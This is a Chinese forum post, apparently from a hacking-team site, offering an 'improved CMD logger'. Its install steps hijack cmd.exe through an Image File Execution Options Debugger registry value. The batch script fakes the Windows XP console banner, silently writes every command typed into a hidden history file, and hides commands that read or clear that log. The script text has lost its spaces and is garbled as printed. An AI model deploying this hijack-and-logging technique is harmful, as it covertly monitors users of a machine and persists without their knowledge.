CMD记录器改良版

文章作者：a11yesno
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

改的不是很良 勉强可用
或许应该弄多一点容错代码 体力活啊。。

安装 把代码保存为cmd.bat 放置system32下 把cmd.exe copy为cmd.gif
注册表 添加
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe
字串 Debugger
字串内容 cmd.gif /c cmd.bat

@echooff
title%ComSpec%
remCMD记录器改良版
rem原作者superjj(可能是马甲！)
rem原文的地址:https://forum.eviloctal.com/read-htm-tid-13905-fpage-0-toread--page-2.html
rem由我allyesno改良(是本人不是马甲！)
rem容错代码就不改良了，一些细节部分自己添加！
setlocalEnableDelayedExpansion
echoMicrosoftWindowsXP[版本5.1.2600]
echo(C)版权所有1985-2001MicrosoftCorp.
echo.
for/l%%iin(0,0,0)do(
set/pstrCMD=%cd%^>
if"!strcmd!"=="whoami"echoallyesno&setstrcmd=
if"!strcmd!"=="log"type%windir%history.txt&setstrcmd=
if"!strcmd!"=="logclear"del%windir%history.txt&setstrcmd=
for/f"delims="%%iin("!strCMD!")doecho%%i>>%windir%history.txt
!strCMD!
echo.
)